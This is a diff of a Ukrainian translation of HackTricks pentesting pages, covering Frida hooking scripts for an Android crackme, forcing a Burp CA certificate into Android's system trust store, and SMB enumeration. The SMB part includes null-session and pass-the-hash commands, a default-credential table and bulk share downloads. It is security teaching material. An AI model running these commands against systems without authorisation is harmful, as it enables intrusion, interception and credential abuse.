**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**Перейдіть за [link to read it](owaspuncrackable-1.md).**
**Перегляньте [link to read it](owaspuncrackable-1.md).**
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**Більше Awesome Frida скриптів можна знайти тут:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Quick Examples
## Швидкі приклади
### Виклик Frida з командного рядка
```bash
@ -126,9 +125,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Hooking functions без параметрів
### Hooking функцій без параметрів
Hook the function `a()` of the class `sg.vantagepoint.a.c`
Hook функцію `a()` у класі `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -138,7 +137,7 @@ return false;
};
});
```
Перехопити java `exit()`
Hook java `exit()`
```javascript
var sysexit = Java.use("java.lang.System")
sysexit.exit.overload("int").implementation = function (var_0) {
@ -159,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
Hook android `.onCreate()`
Перехопити android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -169,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
### Hooking functions з параметрами та отриманням значення
### Перехоплення функцій з параметрами та отримання значення
Hooking a decryption function. Вивести вхідні дані, викликати оригінальну функцію, decrypt вхідні дані і, нарешті, вивести plain data:
Перехоплення функції дешифрування. Вивести вхідні дані, викликати оригінальну функцію, decrypt the input і, нарешті, вивести plain data:
```javascript
function getString(data) {
var ret = ""
@ -196,9 +195,9 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
### Hooking функцій і викликати їх із нашим input
### Hooking functions та виклик їх із нашого введення
Hook функцію, яка отримує string, і викличте її з іншим string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
Hook функцію, яка приймає string, і викличте її з іншим string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@ -213,9 +212,9 @@ return ret
```
### Отримання вже створеного об'єкта класу
Якщо ви хочете витягти деякий атрибут створеного об'єкта, ви можете скористатися цим.
Якщо ви хочете отримати якийсь атрибут створеного об'єкта, ви можете використати це.
У цьому прикладі ви побачите, як отримати об'єкт класу my_activity і як викликати функцію .secret(), яка виведе приватний атрибут цього об'єкта:
У цьому прикладі ви побачите, як отримати об'єкт класу my_activity та як викликати функцію .secret(), яка виведе приватний атрибут об'єкта:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) {
@ -229,13 +228,13 @@ onComplete: function () {},
## Інші підручники з Frida
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
- [Частина 1 серії дописів блогу Advanced Frida Usage: iOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## Посилання
## Джерела
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget documentation](https://frida.re/docs/gadget/)
- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
- [Побудова відтворюваної Android Bug Bounty лабораторії: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Документація Frida Gadget](https://frida.re/docs/gadget/)
- [Релізи Frida (server binaries)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,11 @@
# Встановлення сертифікату Burp
# Встановлення сертифіката Burp
{{#include ../../banners/hacktricks-training.md}}
## Системний проксі через ADB
Налаштуйте глобальний HTTP-проксі, щоб усі додатки спрямовували трафік через ваш interceptor (Burp/mitmproxy):
Налаштуйте глобальний HTTP-проксі так, щоб увесь трафік додатків маршрутизувався через ваш interceptor (Burp/mitmproxy):
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
Порада: У Burp зв'яжіть свій listener з 0.0.0.0, щоб пристрої в LAN могли підключатися (Proxy -> Options -> Proxy Listeners).
Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners).
## На віртуальній машині
По-перше, вам потрібно завантажити Der сертифікат з Burp. Ви можете зробити це в _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
Перш за все потрібно завантажити Der certificate з Burp. Ви можете зробити це в _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
![](<../../images/image (367).png>)
**Експортуйте сертифікат у формат Der** і давайте **перетворимо** його у формат, який **Android** зможе **зрозуміти.** Зверніть увагу, що **щоб налаштувати burp сертифікат на машині Android в AVD** вам потрібно **запустити** цю машину **з** опцією **`-writable-system`**.\
Наприклад, її можна запустити так:
**Експортуйте сертифікат у форматі Der** і давайте **перетворимо** його у формат, який **Android** зможе **зрозуміти.** Зверніть увагу, що **щоб налаштувати Burp certificate на Android машині в AVD** вам потрібно **запустити** цю машину **з** опцією **`-writable-system`**.\
Наприклад, ви можете запустити її так:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
Тоді, щоб **налаштувати сертифікат burps**, виконайте:
Тоді, щоб **налаштувати burps certificate**, зробіть:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
Як тільки **машина завершить перезавантаження**, сертифікат Burp почне використовуватися!
Як тільки **машина завершить перезавантаження**, сертифікат burp буде використовуватися нею!
## Using Magisc
## Використання Magisc
Якщо ви **rooted your device with Magisc** (наприклад емулатор), і ви **не можете виконати** попередні **кроки** для встановлення Burp cert через те, що **filesystem is read-only** і ви не можете remount it writable, є інший спосіб.
Якщо ви **rooted your device with Magisc** (можливо емулятор), і ви **can't follow** попередні **steps** для встановлення Burp cert, тому що **filesystem is read-only** і ви не можете перемонтувати його в режим запису, є інший спосіб.
Пояснено в [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8): потрібно:
Пояснено в [**цьому відео**](https://www.youtube.com/watch?v=qQicUW0svB8): вам потрібно:
1. **Install a CA certificate**: Просто **drag&drop** DER Burp certificate, **змінивши розширення** на `.crt` в мобільному пристрої так, щоб він зберігся в папці Downloads, і перейдіть до `Install a certificate` -> `CA certificate`
1. **Встановити CA-сертифікат**: Просто **перетягніть** DER Burp certificate, змінивши розширення на `.crt` на мобільному пристрої, щоб він зберігся в папці Downloads, і перейдіть до `Install a certificate` -> `CA certificate`
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
- Перевірте, що сертифікат правильно збережений, перейшовши до `Trusted credentials` -> `USER`
- Перевірте, що сертифікат правильно збережено, перейшовши до `Trusted credentials` -> `USER`
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Make it System trusted**: Завантажте Magisc модуль [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (файл .zip), **drag&drop** його в телефон, відкрийте **Magics app** на телефоні в розділі **`Modules`**, натисніть **`Install from storage`**, виберіть `.zip` модуль і після встановлення **перезавантажте** телефон:
2. **Зробити його довіреним системно**: Завантажте Magisc модуль [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (файл .zip), **перетягніть його** в телефон, відкрийте додаток Magics на телефоні у секції **`Modules`**, натисніть **`Install from storage`**, виберіть `.zip` модуль і після встановлення **reboot** телефон:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- Після перезавантаження перейдіть до `Trusted credentials` -> `SYSTEM` і перевірте, що Postswigger cert там є
- Після перезавантаження перейдіть до `Trusted credentials` -> `SYSTEM` і перевірте, що сертифікат Postswigger там присутній
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Learn how to create a Magisc module
### Дізнайтеся, як створити модуль Magisc
Див. [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
Перегляньте [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
## Post Android 14
## Після Android 14
У останньому релізі Android 14 спостерігається суттєва зміна в обробці системно-довірених Certificate Authority (CA) сертифікатів. Раніше ці сертифікати зберігалися в **`/system/etc/security/cacerts/`**, були доступні і модифіковані користувачами з правами root, що дозволяло миттєво застосовувати їх у всій системі. Проте в Android 14 місце зберігання було перенесено в **`/apex/com.android.conscrypt/cacerts`**, директорію в межах шляху **`/apex`**, яка за своєю природою є незмінною.
У новому релізі Android 14 сталося суттєве зміщення в обробці системно-довірених сертифікатів центру сертифікації (CA). Раніше ці сертифікати зберігалися в **`/system/etc/security/cacerts/`**, були доступні та змінювані користувачами з правами root, що дозволяло негайно застосувати їх в системі. Однак в Android 14 місце зберігання було переміщено до **`/apex/com.android.conscrypt/cacerts`**, директорії всередині шляху **`/apex`**, яка за своєю суттю є незмінною.
Спроби перемонтувати **APEX cacerts path** як записувану зазнають невдачі, оскільки система не дозволяє такі операції. Навіть спроби відмонтувати або накласти на директорію тимчасову файлову систему (tmpfs) не долають незмінність; додатки продовжують отримувати доступ до оригінальних даних сертифікатів незалежно від змін на рівні файлової системи. Така стійкість зумовлена тим, що монтування **`/apex`** конфігуровано з PRIVATE propagation, що гарантує: будь‑які модифікації всередині директорії **`/apex`** не впливають на інші процеси.
Спроби перемонтувати **APEX cacerts path** в режим запису зазнають невдачі, оскільки система не дозволяє такі операції. Навіть спроби відмонтувати або перекрити директорію тимчасовою файловою системою (tmpfs) не обходять незмінність; додатки продовжують звертатися до оригінальних даних сертифікатів незалежно від змін на рівні файлової системи. Ця стійкість зумовлена тим, що монтування **`/apex`** сконфігуроване з PRIVATE propagation, що гарантує, що будь-які модифікації всередині директорії **`/apex`** не впливають на інші процеси.
Ініціалізація Android включає процес `init`, який при запуску ОС також ініціює процес Zygote. Цей процес відповідає за запуск процесів додатків із новим mount namespace, який включає приватний монтаж **`/apex`**, тим самим ізолюючи зміни в цій директорії від інших процесів.
Ініціалізація Android включає процес init, який при старті ОС також запускає процес Zygote. Цей процес відповідає за запуск процесів додатків з новою просторою монтів, яка включає приватне монтування **`/apex`**, тим самим ізолюючи зміни в цій директорії від інших процесів.
Проте існує обхідний шлях для тих, кому потрібно змінити системно-довірені CA сертифікати в директорії **`/apex`**. Це передбачає ручне перемонтування **`/apex`** з метою видалення PRIVATE propagation, що робить його записуваним. Процес включає копіювання вмісту **`/apex/com.android.conscrypt`** в інше місце, відмонтування директорії **`/apex/com.android.conscrypt`** щоб усунути обмеження лише для читання, а потім відновлення вмісту назад у її початкове місце в **`/apex`**. Цей підхід вимагає швидких дій, щоб уникнути збоїв системи. Щоб гарантувати застосування змін у всій системі, рекомендується перезапустити system_server, що фактично перезапускає всі додатки і приводить систему у узгоджений стан.
Проте існує обхідний шлях для тих, хто потребує змінити системно-довірені CA сертифікати в директорії **`/apex`**. Це включає ручне перемонтування **`/apex`** з метою видалити PRIVATE propagation, роблячи його записуваним. Процес включає копіювання вмісту **`/apex/com.android.conscrypt`** в інше місце, відмонтування директорії **`/apex/com.android.conscrypt`** щоб усунути обмеження лише для читання, а потім відновлення вмісту назад у початкове місце всередині **`/apex`**. Цей підхід вимагає швидких дій, щоб уникнути краху системи. Щоб забезпечити застосування цих змін по всій системі, рекомендується перезапустити `system_server`, що фактично перезапустить всі додатки і приведе систему до узгодженого стану.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -133,22 +133,22 @@ echo "System certificate injected"
```
### Bind-mounting through NSEnter
1. **Налаштування записуваного каталогу**: Спочатку створюється записуваний каталог шляхом монтування `tmpfs` поверх існуючого non-APEX системного каталогу сертифікатів. Це досягається за допомогою наступної команди:
1. **Налаштування записуваного каталогу**: Спочатку створюється записуваний каталог шляхом примонтування `tmpfs` поверх існуючого non-APEX системного каталогу сертифікатів. Це досягається наступною командою:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Preparing CA Certificates**: Після налаштування каталогу, доступного для запису, сертифікати CA, які планується використовувати, слід скопіювати в цей каталог. Це може включати копіювання сертифікатів за замовчуванням з `/apex/com.android.conscrypt/cacerts/`. Необхідно відповідно налаштувати права доступу та мітки SELinux для цих сертифікатів.
3. **Bind Mounting for Zygote**: Використовуючи `nsenter`, потрібно увійти в простір імен монтовань процесу Zygote. Zygote, як процес, відповідальний за запуск Android-додатків, вимагає цього кроку, щоб гарантувати, що всі додатки, що будуть запускатися надалі, використовуватимуть ново налаштовані сертифікати CA. Команда, що використовується:
2. **Preparing CA Certificates**: Після налаштування записуваного каталогу, CA-сертифікати, які планується використовувати, потрібно скопіювати в цей каталог. Це може включати копіювання стандартних сертифікатів з `/apex/com.android.conscrypt/cacerts/`. Важливо відповідно налаштувати права доступу та SELinux мітки цих сертифікатів.
3. **Bind Mounting for Zygote**: Використовуючи `nsenter`, потрапляють у mount namespace Zygote. Zygote, процес, який відповідає за запуск Android-додатків, вимагає цього кроку, щоб усі додатки, що запускатимуться надалі, використовували щойно налаштовані CA-сертифікати. Команда, що використовується:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Це гарантує, що кожен новий додаток під час запуску дотримуватиметься оновленого налаштування сертифікатів CA.
Це гарантує, що кожен новий додаток при запуску буде дотримуватись оновлених налаштувань CA-сертифікатів.
4. **Застосування змін до працюючих додатків**: Щоб застосувати зміни до вже запущених додатків, знову використовується `nsenter`, щоб увійти в namespace кожного додатку окремо та виконати аналогічний bind mount. Необхідна команда:
4. **Застосування змін до запущених додатків**: Щоб застосувати зміни до вже запущених програм, `nsenter` знову використовується, щоб увійти в namespace кожного додатка окремо та виконати аналогічний bind mount. Необхідна команда:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternative Approach - Soft Reboot**: Альтернативний метод полягає у виконанні bind mount на процесі `init` (PID 1) з наступним soft reboot операційної системи за допомогою команд `stop && start`. Цей підхід поширить зміни на всі namespaces, уникаючи необхідності окремо обробляти кожен запущений app. Однак цей метод загалом менш бажаний через незручність перезавантаження.
5. **Alternative Approach - Soft Reboot**: Альтернативний метод полягає в тому, щоб виконати bind mount на процесі `init` (PID 1), а потім зробити м'яке перезавантаження операційної системи за допомогою команд `stop && start`. Цей підхід поширює зміни на всі namespaces, уникаючи необхідності звертатися до кожного запущеного додатку окремо. Однак цей метод загалом менш бажаний через незручності, пов'язані з перезавантаженням.
## References

View File

@ -2,45 +2,45 @@
{{#include ../../banners/hacktricks-training.md}}
## **Port 139**
## **Порт 139**
The _**Мережева система базового вводу/виводу**_** (NetBIOS)** — це програмний протокол, призначений забезпечити взаємодію додатків, ПК та настільних комп'ютерів у локальній мережі (LAN) з мережевим обладнанням та **полегшити передачу даних мережею**. Ідентифікація та визначення місцезнаходження програм, що працюють у мережі NetBIOS, здійснюються за їхніми іменами NetBIOS, які можуть налічувати до 16 символів і часто відрізняються від імені комп'ютера. Сеанс NetBIOS між двома додатками ініціюється, коли один додаток (в ролі клієнта) відправляє команду "call" іншому додатку (в ролі сервера), використовуючи **TCP Port 139**.
_**Network Basic Input Output System**_** (NetBIOS)** — це програмний протокол, призначений дозволити застосункам, ПК і десктопам у локальній мережі (LAN) взаємодіяти з мережевим обладнанням та **сприяти передачі даних мережею**. Ідентифікація та локалізація програм, що працюють у NetBIOS мережі, здійснюються за допомогою їхніх NetBIOS імен, які можуть містити до 16 символів і часто відрізняються від імені комп'ютера. NetBIOS-сесію між двома застосунками ініціюють, коли одна програма (що виступає як client) відправляє команду "call" іншій програмі (що виступає як server), використовуючи **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Технічно Port 139 позначається як «NBT over IP», тоді як Port 445 — як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», що сучасно відоме як **Common Internet File System (CIFS)**. Як мережевий протокол прикладного рівня, SMB/CIFS переважно використовується для надання спільного доступу до файлів, принтерів, послідовних портів та для забезпечення різних форм взаємодії між вузлами в мережі.
Технічно порт 139 називають NBT over IP, тоді як порт 445 ідентифікують як SMB over IP. Абревіатура **SMB** означає **Server Message Blocks**, яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол прикладного рівня, SMB/CIFS переважно використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та полегшення різних форм звʼязку між вузлами в мережі.
Наприклад, у контексті Windows відзначається, що SMB може працювати безпосередньо поверх TCP/IP, усуваючи необхідність у NetBIOS over TCP/IP шляхом використання порту 445. Натомість на інших системах використовується порт 139, що вказує на те, що SMB виконується разом із NetBIOS over TCP/IP.
Наприклад, у контексті Windows зауважується, що SMB може працювати безпосередньо поверх TCP/IP, усуваючи необхідність у NetBIOS over TCP/IP, через використання порту 445. Навпаки, на інших системах спостерігається застосування порту 139, що вказує на те, що SMB виконується у звʼязці з NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **доступу до файлів**, каталогів та інших мережевих ресурсів, таких як принтери та маршрутизатори. Переважно використовується в сімействі операційних систем **Windows**, SMB забезпечує зворотну сумісність, дозволяючи пристроям з новішими версіями ОС Microsoft безперешкодно взаємодіяти з пристроями на старіших версіях. Крім того, проект **Samba** пропонує вільне програмне забезпечення для реалізації SMB на системах **Linux** та Unix, що полегшує крос-платформенну взаємодію через SMB.
Протокол Server Message Block (SMB), який працює за моделлю клієнт‑сервер, призначений для регулювання доступу до файлів, каталогів та інших мережевих ресурсів, таких як принтери і маршрутизатори. Переважно використовується в серії операційних систем Windows; SMB забезпечує зворотну сумісність, дозволяючи пристроям із новішими версіями ОС Microsoft безшовно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проект Samba пропонує вільне програмне забезпечення для реалізації SMB на системах Linux і Unix, полегшуючи кросплатформенну комунікацію через SMB.
Шари, що представляють **довільні частини локальної файлової системи**, можуть надаватися SMB-сервером, роблячи ієрархію, видиму клієнту, частково **незалежною** від фактичної структури сервера. **Access Control Lists (ACLs)**, які визначають **права доступу**, дозволяють **тонко налаштовувати** дозволи користувачів, включаючи атрибути на кшталт **`execute`**, **`read`** і **`full access`**. Ці дозволи можуть призначатися окремим користувачам або групам на основі шарів і відрізняються від локальних дозволів, встановлених на сервері.
Шари, які представляють довільні частини локальної файлової системи, можуть надаватися SMBсервером, роблячи ієрархію видимою для клієнта частково незалежно від фактичної структури сервера. Списки контролю доступу (ACLs), які визначають права доступу, дозволяють здійснювати тонке керування дозволами користувачів, включно з атрибутами `execute`, `read` і `full access`. Ці дозволи можуть призначатися окремим користувачам або групам на основі шарів і відрізняються від локальних дозволів, встановлених на сервері.
### IPC$ Share
Доступ до IPC$ share може бути отриманий через анонімну null-сесію, що дозволяє взаємодіяти з сервісами, виставленими через іменовані канали (named pipes). Утиліта `enum4linux` корисна для цього. При правильному використанні вона дозволяє отримати:
Доступ до шару IPC$ можна отримати через анонімну null session, що дозволяє взаємодіяти зі службами, доступними через named pipes. Для цього корисна утиліта `enum4linux`. При правильному використанні вона дозволяє отримати:
- Інформацію про операційну систему
- Дані про батьківський домен
- Деталі про батьківський домен
- Перелік локальних користувачів і груп
- Інформацію про доступні SMB-шари
- Діючу політику безпеки системи
- Інформацію про доступні SMBшари
- Ефективну політику безпеки системи
Ця функціональність критично важлива для мережевих адміністраторів та фахівців із безпеки для оцінки рівня захищеності SMB (Server Message Block) сервісів у мережі. Утиліта `enum4linux` надає комплексний огляд SMB-середовища цільової системи, що є необхідним для виявлення потенційних вразливостей та забезпечення належного захисту SMB-сервісів.
Ця функціональність критично важлива для мережевих адміністраторів та фахівців із безпеки для оцінки рівня захищеності служб SMB у мережі. Утиліта `enum4linux` надає всебічний огляд SMBсередовища цільової системи, що є необхідним для виявлення потенційних вразливостей і забезпечення належного захисту служб SMB.
```bash
enum4linux -a target_ip
```
Наведена вище команда є прикладом того, як `enum4linux` може використовуватися для виконання повного enumeration щодо цілі, зазначеної як `target_ip`.
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`.
## Що таке NTLM
Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює і як ним можна зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як працює цей протокол і як ви можете ним скористатися:**
Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює та як його можна зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як цей протокол працює і як ви можете ним скористатися:**
{{#ref}}
@ -49,15 +49,15 @@ enum4linux -a target_ip
## **Server Enumeration**
### **Scan** мережу в пошуках хостів:
### **Scan** мережу, шукаючи hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### Версія SMB сервера
### Версія SMB-сервера
Щоб шукати можливі експлойти для версії SMB, важливо знати, яка саме версія використовується. Якщо ця інформація не відображається в інших використовуваних інструментах, ви можете:
Щоб шукати можливі exploits для версії SMB, важливо знати, яка саме версія використовується. Якщо ця інформація не відображається в інших використовуваних інструментах, ви можете:
- Використайте **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Використайте допоміжний модуль **MSF** `**auxiliary/scanner/smb/smb_version**`
- Або цей скрипт:
```bash
#!/bin/sh
@ -82,15 +82,15 @@ searchsploit microsoft smb
```
### **Можливі** облікові дані
| **Імена користувачів** | **Поширені паролі** |
| ---------------------- | ----------------------------------------- |
| _(порожньо)_ | _(порожньо)_ |
| guest | _(порожньо)_ |
| Administrator, admin | _(порожньо)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
| **Ім'я(я) користувача** | **Поширені паролі** |
| ----------------------- | ---------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
@ -134,44 +134,44 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Перерахування локальних користувачів
### Перелічити локальних користувачів
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
Однорядковий
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Перелічити локальних користувачів
### Metasploit - Перерахувати локальних користувачів
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Перерахування LSARPC і SAMR через rpcclient**
### **Перерахування LSARPC і SAMR за допомогою rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### GUI-з'єднання з linux
### Підключення через GUI з Linux
#### У терміналі:
`xdg-open smb://cascade.htb/`
#### У вікні файлового браузера (nautilus, thunar, etc)
#### У вікні файлового менеджера (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Перелік спільних папок
## Перерахування спільних папок
### Перелічити спільні папки
### Перелік спільних папок
Завжди рекомендовано перевірити, чи маєте доступ до чого-небудь; якщо у вас немає credentials, спробуйте використати **null** **credentials/guest user**.
Завжди рекомендовано перевірити, чи маєте ви доступ до чогось; якщо у вас немає облікових даних, спробуйте використовувати **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Підключити/Переглянути спільну папку**
### **Підключити/Перелічити спільну папку**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Вручну перерахувати Windows shares і підключитися до них**
### **Вручну перелічити windows shares і підключитися до них**
Може виявитися, що вам обмежено показувати будь-які shares хост-машини, і при спробі їх перерахувати здається, ніби немає жодних shares для підключення. Тому варто спробувати вручну підключитися до share. Щоб перерахувати shares вручну, слід звертати увагу на відповіді на кшталт NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME при використанні валідної сесії (наприклад null session або дійсні облікові дані). Це може вказувати на те, що share існує, але у вас немає доступу, або ж share взагалі не існує.
Може статись, що вам заборонено показувати будь-які shares на хост-машині, і коли ви намагаєтесь їх перерахувати, виглядає так, ніби немає жодних shares для підключення. Тому варто коротко спробувати вручну підключитися до share. Щоб вручну перерахувати shares, звертайте увагу на відповіді типу NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME при використанні дійсної сесії (наприклад, null session або дійсні облікові дані). Це може вказувати, чи існує share, але у вас немає до нього доступу, або що share взагалі не існує.
Common share names for windows targets are
@ -214,12 +214,12 @@ Common share names for windows targets are
(Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command
Ви можете спробувати підключитися до них, використовуючи наступну команду
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
або цей скрипт (використовуючи null session)
або цей скрипт (з використанням null session)
```bash
#/bin/bash
@ -241,7 +241,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Перелічити shares у Windows / без сторонніх інструментів**
### **Перелічити спільні ресурси у Windows / без сторонніх інструментів**
PowerShell
```bash
@ -253,7 +253,7 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD консоль
консоль CMD
```shell
# List shares on the local computer
net share
@ -267,16 +267,16 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (графічний), введіть `\\<ip>\` щоб побачити доступні неприховані shares.
explorer.exe (графічний інтерфейс), введіть `\\<ip>\` щоб побачити доступні неприховані шари.
### Підключення спільної папки
### Підключити спільну папку
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Завантажити файли**
Прочитайте попередні розділи, щоб навчитися підключатися за допомогою credentials/Pass-the-Hash.
Перегляньте попередні розділи, щоб дізнатися, як підключитися за допомогою облікових даних/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,16 +291,16 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Команди:
Commands:
- mask: визначає маску, яка використовується для фільтрації файлів у директорії (наприклад "" для всіх файлів)
- recurse: вмикає рекурсію (за замовчуванням: вимкнено)
- prompt: вимикає запит імен файлів (за замовчуванням: увімкнено)
- mget: копіює всі файли, що відповідають масці, з host на client machine
- mask: задає маску, яка використовується для фільтрації файлів у каталозі (e.g. "" for all files)
- recurse: перемикає рекурсію (за замовчуванням: off)
- prompt: вимикає запит щодо імен файлів (за замовчуванням: on)
- mget: копіює всі файли, що відповідають масці, з хоста на клієнтську машину
(_Інформація з manpage smbclient_)
